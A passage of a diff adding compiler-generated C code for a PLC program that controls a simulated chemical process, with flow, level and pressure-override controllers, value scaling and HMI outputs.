FLOW_CONTROL_init__(FLOW_CONTROL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->FLOW_K,1.0,retain) + __INIT_VAR(data__->FLOW_TI,999.0,retain) + __INIT_VAR(data__->FLOW_TD,0.0,retain) + __INIT_VAR(data__->PRODUCT_FLOW,6554,retain) + __INIT_VAR(data__->PRODUCT_FLOW_REAL,100.0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + __INIT_VAR(data__->POS_UPDATE_REAL,0.0,retain) + __INIT_VAR(data__->CURR_POS_REAL,60.9,retain) + __INIT_VAR(data__->NEW_POS,35000,retain) + __INIT_VAR(data__->CURR_POS,35000,retain) + __INIT_VAR(data__->FLOW_SET_REAL,100.0,retain) + __INIT_VAR(data__->FLOW_SET_IN,6554,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL1,retain); + __INIT_VAR(data__->FLOW_MAX,500.0,retain) + __INIT_VAR(data__->FLOW_MIN,0.0,retain) + __INIT_VAR(data__->POS_MIN,0.0,retain) + __INIT_VAR(data__->POS_MAX,100.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL2,retain); + SCALE_TO_UINT_init__(&data__->SCALE_TO_UINT0,retain); + __INIT_VAR(data__->SUB59_OUT,0,retain) + __INIT_VAR(data__->MUL60_OUT,0,retain) + __INIT_VAR(data__->ADD58_OUT,0,retain) + __INIT_VAR(data__->LIMIT40_OUT,0,retain) +} + +// Code part +void FLOW_CONTROL_body__(FLOW_CONTROL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->PRODUCT_FLOW,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->FLOW_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->FLOW_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,PRODUCT_FLOW_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL1.,RAW_INPUT_VALUE,,__GET_VAR(data__->FLOW_SET_IN,)); + __SET_VAR(data__->SCALE_TO_REAL1.,REAL_MAX,,__GET_VAR(data__->FLOW_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL1.,REAL_MIN,,__GET_VAR(data__->FLOW_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL1); + __SET_VAR(data__->,FLOW_SET_REAL,,__GET_VAR(data__->SCALE_TO_REAL1.SCALED_REAL,)); + __SET_VAR(data__->,SUB59_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->FLOW_SET_REAL,), + (REAL)__GET_VAR(data__->PRODUCT_FLOW_REAL,))); + __SET_VAR(data__->,MUL60_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB59_OUT,), + (REAL)__GET_VAR(data__->FLOW_K,))); + __SET_VAR(data__->,POS_UPDATE_REAL,,__GET_VAR(data__->MUL60_OUT,)); + __SET_VAR(data__->SCALE_TO_REAL2.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_POS,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MAX,,__GET_VAR(data__->POS_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MIN,,__GET_VAR(data__->POS_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL2); + __SET_VAR(data__->,CURR_POS_REAL,,__GET_VAR(data__->SCALE_TO_REAL2.SCALED_REAL,)); + __SET_VAR(data__->,ADD58_OUT,,ADD__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->CURR_POS_REAL,), + (REAL)__GET_VAR(data__->POS_UPDATE_REAL,))); + __SET_VAR(data__->,LIMIT40_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_MIN,), + (REAL)__GET_VAR(data__->ADD58_OUT,), + (REAL)__GET_VAR(data__->POS_MAX,))); + __SET_VAR(data__->SCALE_TO_UINT0.,REAL_IN,,__GET_VAR(data__->LIMIT40_OUT,)); + SCALE_TO_UINT_body__(&data__->SCALE_TO_UINT0); + __SET_VAR(data__->,NEW_POS,,__GET_VAR(data__->SCALE_TO_UINT0.UINT_OUT,)); + + goto __end; + +__end: + return; +} // FLOW_CONTROL_body__() + + + + + +void LEVEL_CONTROL_init__(LEVEL_CONTROL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->LIQUID_LEVEL,0,retain) + __INIT_VAR(data__->LEVEL_SP,30000,retain) + __INIT_VAR(data__->CURR_POS,0,retain) + __INIT_VAR(data__->NEW_POS,0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + __INIT_VAR(data__->LEVEL_K,10.0,retain) + __INIT_VAR(data__->LEVEL_TI,99999.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + __INIT_VAR(data__->LEVEL_MAX,100.0,retain) + __INIT_VAR(data__->LEVEL_MIN,0.0,retain) + __INIT_VAR(data__->POS_MAX,100.0,retain) + __INIT_VAR(data__->POS_MIN,0.0,retain) + __INIT_VAR(data__->LEVEL_REAL,44.18,retain) + __INIT_VAR(data__->POS_REAL,47.0,retain) + __INIT_VAR(data__->POS_UPDATE_REAL,0.0,retain) + __INIT_VAR(data__->SP_REAL,44.18,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL1,retain); + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL2,retain); + SCALE_TO_UINT_init__(&data__->SCALE_TO_UINT0,retain); + __INIT_VAR(data__->SUB32_OUT,0,retain) + __INIT_VAR(data__->MUL33_OUT,0,retain) + __INIT_VAR(data__->SUB30_OUT,0,retain) + __INIT_VAR(data__->LIMIT25_OUT,0,retain) +} + +// Code part +void LEVEL_CONTROL_body__(LEVEL_CONTROL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->LIQUID_LEVEL,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->LEVEL_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->LEVEL_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,LEVEL_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL1.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_POS,)); + __SET_VAR(data__->SCALE_TO_REAL1.,REAL_MAX,,__GET_VAR(data__->POS_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL1.,REAL_MIN,,__GET_VAR(data__->POS_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL1); + __SET_VAR(data__->,POS_REAL,,__GET_VAR(data__->SCALE_TO_REAL1.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL2.,RAW_INPUT_VALUE,,__GET_VAR(data__->LEVEL_SP,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MAX,,__GET_VAR(data__->LEVEL_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MIN,,__GET_VAR(data__->LEVEL_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL2); + __SET_VAR(data__->,SP_REAL,,__GET_VAR(data__->SCALE_TO_REAL2.SCALED_REAL,)); + __SET_VAR(data__->,SUB32_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->SP_REAL,), + (REAL)__GET_VAR(data__->LEVEL_REAL,))); + __SET_VAR(data__->,MUL33_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB32_OUT,), + (REAL)__GET_VAR(data__->LEVEL_K,))); + __SET_VAR(data__->,POS_UPDATE_REAL,,__GET_VAR(data__->MUL33_OUT,)); + __SET_VAR(data__->,SUB30_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_REAL,), + (REAL)__GET_VAR(data__->POS_UPDATE_REAL,))); + __SET_VAR(data__->,LIMIT25_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_MIN,), + (REAL)__GET_VAR(data__->SUB30_OUT,), + (REAL)__GET_VAR(data__->POS_MAX,))); + __SET_VAR(data__->SCALE_TO_UINT0.,REAL_IN,,__GET_VAR(data__->LIMIT25_OUT,)); + SCALE_TO_UINT_body__(&data__->SCALE_TO_UINT0); + __SET_VAR(data__->,NEW_POS,,__GET_VAR(data__->SCALE_TO_UINT0.UINT_OUT,)); + + goto __end; + +__end: + return; +} // LEVEL_CONTROL_body__() + + + + + +void SCALE_TO_SIGNED_init__(SCALE_TO_SIGNED *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->INPUT_UINT,0,retain) + __INIT_VAR(data__->OUTPUT_INT,0,retain) + __INIT_VAR(data__->DIV3_OUT,0,retain) + __INIT_VAR(data__->ABS8_OUT,0,retain) + __INIT_VAR(data__->UINT_TO_INT9_OUT,0,retain) +} + +// Code part +void SCALE_TO_SIGNED_body__(SCALE_TO_SIGNED *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,DIV3_OUT,,DIV__UINT__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->INPUT_UINT,), + (UINT)2)); + __SET_VAR(data__->,ABS8_OUT,,ABS__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->DIV3_OUT,))); + __SET_VAR(data__->,UINT_TO_INT9_OUT,,UINT_TO_INT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->ABS8_OUT,))); + __SET_VAR(data__->,OUTPUT_INT,,__GET_VAR(data__->UINT_TO_INT9_OUT,)); + + goto __end; + +__end: + return; +} // SCALE_TO_SIGNED_body__() + + + + + +void PRESSURE_OVERRIDE_init__(PRESSURE_OVERRIDE *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->PRESSURE_REAL,2700.0,retain) + __INIT_VAR(data__->PRESSURE,58981,retain) + __INIT_VAR(data__->CURR_SP,58981,retain) + __INIT_VAR(data__->CURR_SP_REAL,2700.0,retain) + __INIT_VAR(data__->PRODUCT_SP_REAL,100.0,retain) + __INIT_VAR(data__->SP_UPDATE,0.0,retain) + __INIT_VAR(data__->PRODUCT_SP_NOMINL,100.0,retain) + __INIT_VAR(data__->PRODUCT_SP,13107,retain) + __INIT_VAR(data__->OVERRIDE_SP_REAL,2900.0,retain) + __INIT_VAR(data__->OVERRIDE_SP,63350,retain) + __INIT_VAR(data__->OVERRIDE_K,1.0,retain) + __INIT_VAR(data__->OVERRIDE_TI,99999.0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL7,retain); + __INIT_VAR(data__->PRESSURE_MAX,3000.0,retain) + __INIT_VAR(data__->PRESSURE_MIN,0.0,retain) + __INIT_VAR(data__->FLOW_MAX,500.0,retain) + __INIT_VAR(data__->FLOW_MIN,0.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + __INIT_VAR(data__->SUB86_OUT,0,retain) + __INIT_VAR(data__->MUL87_OUT,0,retain) + __INIT_VAR(data__->MAX84_OUT,0,retain) + __INIT_VAR(data__->ADD85_OUT,0,retain) + __INIT_VAR(data__->LIMIT67_OUT,0,retain) + __INIT_VAR(data__->DIV73_OUT,0,retain) + __INIT_VAR(data__->MUL75_OUT,0,retain) + __INIT_VAR(data__->REAL_TO_UINT79_OUT,0,retain) +} + +// Code part +void PRESSURE_OVERRIDE_body__(PRESSURE_OVERRIDE *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL7.,RAW_INPUT_VALUE,,__GET_VAR(data__->PRESSURE,)); + __SET_VAR(data__->SCALE_TO_REAL7.,REAL_MAX,,__GET_VAR(data__->PRESSURE_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL7.,REAL_MIN,,__GET_VAR(data__->PRESSURE_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL7); + __SET_VAR(data__->,PRESSURE_REAL,,__GET_VAR(data__->SCALE_TO_REAL7.SCALED_REAL,)); + __SET_VAR(data__->,SUB86_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->OVERRIDE_SP_REAL,), + (REAL)__GET_VAR(data__->PRESSURE_REAL,))); + __SET_VAR(data__->,MUL87_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB86_OUT,), + (REAL)__GET_VAR(data__->OVERRIDE_K,))); + __SET_VAR(data__->,MAX84_OUT,,MAX__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->MUL87_OUT,), + (REAL)0.0)); + __SET_VAR(data__->,SP_UPDATE,,__GET_VAR(data__->MAX84_OUT,)); + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_SP,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->FLOW_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->FLOW_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,CURR_SP_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->,ADD85_OUT,,ADD__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->CURR_SP_REAL,), + (REAL)__GET_VAR(data__->SP_UPDATE,))); + __SET_VAR(data__->,LIMIT67_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)50.0, + (REAL)__GET_VAR(data__->ADD85_OUT,), + (REAL)150.0)); + __SET_VAR(data__->,PRODUCT_SP_REAL,,__GET_VAR(data__->LIMIT67_OUT,)); + __SET_VAR(data__->,DIV73_OUT,,DIV__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->PRODUCT_SP_REAL,), + (REAL)500.0)); + __SET_VAR(data__->,MUL75_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->DIV73_OUT,), + (REAL)65535.0)); + __SET_VAR(data__->,REAL_TO_UINT79_OUT,,REAL_TO_UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->MUL75_OUT,))); + __SET_VAR(data__->,PRODUCT_SP,,__GET_VAR(data__->REAL_TO_UINT79_OUT,)); + + goto __end; + +__end: + return; +} // PRESSURE_OVERRIDE_body__() + + + + + +inline UINT __MAIN_MOVE__UINT__UINT1(BOOL EN, + UINT IN, + MAIN *data__) +{ + UINT __res; + BOOL __TMP_ENO = __GET_VAR(data__->MOVE92_ENO,); + __res = MOVE__UINT__UINT(EN, + &__TMP_ENO, + IN); + __SET_VAR(,data__->MOVE92_ENO,,__TMP_ENO); + return __res; +} + +void MAIN_init__(MAIN *data__, BOOL retain) { + FLOW_CONTROL_init__(&data__->FLOW_CONTROL0,retain); + __INIT_VAR(data__->FIRST_RUN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->FLOW_SET,0,retain) + __INIT_VAR(data__->A_SETPOINT,0,retain) + __INIT_VAR(data__->PRESSURE_SP,0,retain) + __INIT_VAR(data__->OVERRIDE_SP,0,retain) + __INIT_VAR(data__->LEVEL_SP,0,retain) + COMPOSITION_CONTROL_init__(&data__->COMPOSITION_CONTROL0,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED0,retain); + __INIT_VAR(data__->F1_VALVE_POS,0,retain) + __INIT_VAR(data__->F1_FLOW,0,retain) + __INIT_VAR(data__->F2_VALVE_POS,0,retain) + __INIT_VAR(data__->F2_FLOW,0,retain) + __INIT_VAR(data__->PURGE_VALVE_POS,0,retain) + __INIT_VAR(data__->PURGE_FLOW,0,retain) + __INIT_VAR(data__->PRODUCT_VALVE_POS,0,retain) + __INIT_VAR(data__->PRODUCT_FLOW,0,retain) + __INIT_VAR(data__->PRESSURE,0,retain) + __INIT_VAR(data__->LEVEL,0,retain) + __INIT_VAR(data__->A_IN_PURGE,0,retain) + __INIT_VAR(data__->B_IN_PURGE,0,retain) + __INIT_VAR(data__->C_IN_PURGE,0,retain) + __INIT_VAR(data__->F1_VALVE_SP,0,retain) + __INIT_VAR(data__->F2_VALVE_SP,0,retain) + __INIT_VAR(data__->PURGE_VALVE_SP,0,retain) + __INIT_VAR(data__->PRODUCT_VALVE_SP,0,retain) + __INIT_VAR(data__->PRODUCT_VALVE_SAFE,0,retain) + __INIT_VAR(data__->PURGE_VALVE_SAFE,65535,retain) + __INIT_VAR(data__->F1_VALVE_SAFE,0,retain) + __INIT_VAR(data__->F2_VALVE_SAFE,0,retain) + PRESSURE_CONTROL_init__(&data__->PRESSURE_CONTROL0,retain); + __INIT_VAR(data__->HMI_PRESSURE,0,retain) + __INIT_VAR(data__->HMI_LEVEL,0,retain) + __INIT_VAR(data__->HMI_F1_VALVE_POS,0,retain) + __INIT_VAR(data__->HMI_F1_FLOW,0,retain) + __INIT_VAR(data__->HMI_F2_VALVE_POS,0,retain) + __INIT_VAR(data__->HMI_F2_FLOW,0,retain) + __INIT_VAR(data__->HMI_PURGE_VALVE_POS,0,retain) + __INIT_VAR(data__->HMI_PURGE_FLOW,0,retain) + __INIT_VAR(data__->HMI_PRODUCT_VALVE_POS,0,retain) + __INIT_VAR(data__->HMI_PRODUCT_FLOW,0,retain) + __INIT_VAR(data__->SCAN_COUNT,0,retain) + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED1,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED2,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED3,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED4,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED5,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED6,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED7,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED8,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED9,retain); + PRESSURE_OVERRIDE_init__(&data__->PRESSURE_OVERRIDE0,retain); + LEVEL_CONTROL_init__(&data__->LEVEL_CONTROL0,retain); + __INIT_EXTERNAL(BOOL,RUN_BIT,data__->RUN_BIT,retain) + __INIT_VAR(data__->RUN_BIT0,__BOOL_LITERAL(TRUE),retain) + INITIALIZE_SP_init__(&data__->INITIALIZE_SP0,retain); + __INIT_VAR(data__->ADD87_OUT,0,retain) + __INIT_VAR(data__->GE91_OUT,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->MOVE92_ENO,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->MOVE92_OUT,0,retain) +} + +// Code part +void MAIN_body__(MAIN *data__) { + // Initialise TEMP variables + + __SET_VAR(data__->INITIALIZE_SP0.,EN,,__GET_VAR(data__->FIRST_RUN,)); + INITIALIZE_SP_body__(&data__->INITIALIZE_SP0); + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,FIRST_RUN,,__BOOL_LITERAL(FALSE)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,FLOW_SET,,__GET_VAR(data__->INITIALIZE_SP0.FLOW_SP,)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,A_SETPOINT,,__GET_VAR(data__->INITIALIZE_SP0.A_SP,)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,PRESSURE_SP,,__GET_VAR(data__->INITIALIZE_SP0.PRESS_SP,)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,OVERRIDE_SP,,__GET_VAR(data__->INITIALIZE_SP0.OVER_SP,)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,LEVEL_SP,,__GET_VAR(data__->INITIALIZE_SP0.LEVEL_SP,)); + }; + __SET_VAR(data__->FLOW_CONTROL0.,PRODUCT_FLOW,,__GET_VAR(data__->PRODUCT_FLOW,)); + __SET_VAR(data__->FLOW_CONTROL0.,CURR_POS,,__GET_VAR(data__->F1_VALVE_POS,)); + __SET_VAR(data__->FLOW_CONTROL0.,FLOW_SET_IN,,__GET_VAR(data__->FLOW_SET,)); + FLOW_CONTROL_body__(&data__->FLOW_CONTROL0); + __SET_VAR(data__->,F1_VALVE_SP,,__GET_VAR(data__->FLOW_CONTROL0.NEW_POS,)); + __SET_VAR(data__->PRESSURE_CONTROL0.,PRESSURE,,__GET_VAR(data__->PRESSURE,)); + __SET_VAR(data__->PRESSURE_CONTROL0.,PRESSURE_SP,,__GET_VAR(data__->PRESSURE_SP,)); + __SET_VAR(data__->PRESSURE_CONTROL0.,CURR_POS,,__GET_VAR(data__->PURGE_VALVE_POS,)); + PRESSURE_CONTROL_body__(&data__->PRESSURE_CONTROL0); + __SET_VAR(data__->,PURGE_VALVE_SP,,__GET_VAR(data__->PRESSURE_CONTROL0.VALVE_POS,)); + __SET_VAR(data__->COMPOSITION_CONTROL0.,A_IN_PURGE,,__GET_VAR(data__->A_IN_PURGE,)); + __SET_VAR(data__->COMPOSITION_CONTROL0.,A_SETPOINT,,__GET_VAR(data__->A_SETPOINT,)); + __SET_VAR(data__->COMPOSITION_CONTROL0.,CURR_POS,,__GET_VAR(data__->F2_VALVE_POS,)); + COMPOSITION_CONTROL_body__(&data__->COMPOSITION_CONTROL0); + __SET_VAR(data__->,F2_VALVE_SP,,__GET_VAR(data__->COMPOSITION_CONTROL0.NEW_POS,)); + __SET_VAR(data__->PRESSURE_OVERRIDE0.,PRESSURE,,__GET_VAR(data__->PRESSURE,)); + __SET_VAR(data__->PRESSURE_OVERRIDE0.,CURR_SP,,__GET_VAR(data__->FLOW_SET,)); + __SET_VAR(data__->PRESSURE_OVERRIDE0.,OVERRIDE_SP,,__GET_VAR(data__->OVERRIDE_SP,)); + PRESSURE_OVERRIDE_body__(&data__->PRESSURE_OVERRIDE0); + __SET_VAR(data__->,FLOW_SET,,__GET_VAR(data__->PRESSURE_OVERRIDE0.PRODUCT_SP,)); + __SET_VAR(data__->LEVEL_CONTROL0.,LIQUID_LEVEL,,__GET_VAR(data__->LEVEL,)); + __SET_VAR(data__->LEVEL_CONTROL0.,LEVEL_SP,,__GET_VAR(data__->LEVEL_SP,)); + __SET_VAR(data__->LEVEL_CONTROL0.,CURR_POS,,__GET_VAR(data__->PRODUCT_VALVE_POS,)); + LEVEL_CONTROL_body__(&data__->LEVEL_CONTROL0); + __SET_VAR(data__->,PRODUCT_VALVE_SP,,__GET_VAR(data__->LEVEL_CONTROL0.NEW_POS,)); + __SET_VAR(data__->SCALE_TO_SIGNED0.,INPUT_UINT,,__GET_VAR(data__->PRESSURE,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED0); + __SET_VAR(data__->,HMI_PRESSURE,,__GET_VAR(data__->SCALE_TO_SIGNED0.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED1.,INPUT_UINT,,__GET_VAR(data__->LEVEL,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED1); + __SET_VAR(data__->,HMI_LEVEL,,__GET_VAR(data__->SCALE_TO_SIGNED1.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED2.,INPUT_UINT,,__GET_VAR(data__->F1_VALVE_POS,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED2); + __SET_VAR(data__->,HMI_F1_VALVE_POS,,__GET_VAR(data__->SCALE_TO_SIGNED2.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED3.,INPUT_UINT,,__GET_VAR(data__->F2_VALVE_POS,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED3); + __SET_VAR(data__->,HMI_F2_VALVE_POS,,__GET_VAR(data__->SCALE_TO_SIGNED3.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED4.,INPUT_UINT,,__GET_VAR(data__->PURGE_VALVE_POS,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED4); + __SET_VAR(data__->,HMI_PURGE_VALVE_POS,,__GET_VAR(data__->SCALE_TO_SIGNED4.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED5.,INPUT_UINT,,__GET_VAR(data__->PRODUCT_VALVE_POS,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED5); + __SET_VAR(data__->,HMI_PRODUCT_VALVE_POS,,__GET_VAR(data__->SCALE_TO_SIGNED5.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED6.,INPUT_UINT,,__GET_VAR(data__->F1_FLOW,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED6); + __SET_VAR(data__->,HMI_F1_FLOW,,__GET_VAR(data__->SCALE_TO_SIGNED6.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED7.,INPUT_UINT,,__GET_VAR(data__->F2_FLOW,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED7); + __SET_VAR(data__->,HMI_F2_FLOW,,__GET_VAR(data__->SCALE_TO_SIGNED7.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED8.,INPUT_UINT,,__GET_VAR(data__->PURGE_FLOW,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED8); + __SET_VAR(data__->,HMI_PURGE_FLOW,,__GET_VAR(data__->SCALE_TO_SIGNED8.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED9.,INPUT_UINT,,__GET_VAR(data__->PRODUCT_FLOW,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED9); + __SET_VAR(data__->,HMI_PRODUCT_FLOW,,__GET_VAR(data__->SCALE_TO_SIGNED9.OUTPUT_INT,)); + __SET_VAR(data__->,ADD87_OUT,,ADD__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (UINT)__GET_VAR(data__->SCAN_COUNT,), + (UINT)1)); + __SET_VAR(data__->,SCAN_COUNT,,__GET_VAR(data__->ADD87_OUT,)); + __SET_VAR(data__->,GE91_OUT,,GE__BOOL__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (UINT)__GET_VAR(data__->SCAN_COUNT,), + (UINT)32000)); + __SET_VAR(data__->,MOVE92_OUT,,__MAIN_MOVE__UINT__UINT1( + (BOOL)__GET_VAR(data__->GE91_OUT,), + (UINT)0, + data__)); + if (__GET_VAR(data__->MOVE92_ENO,)) { + 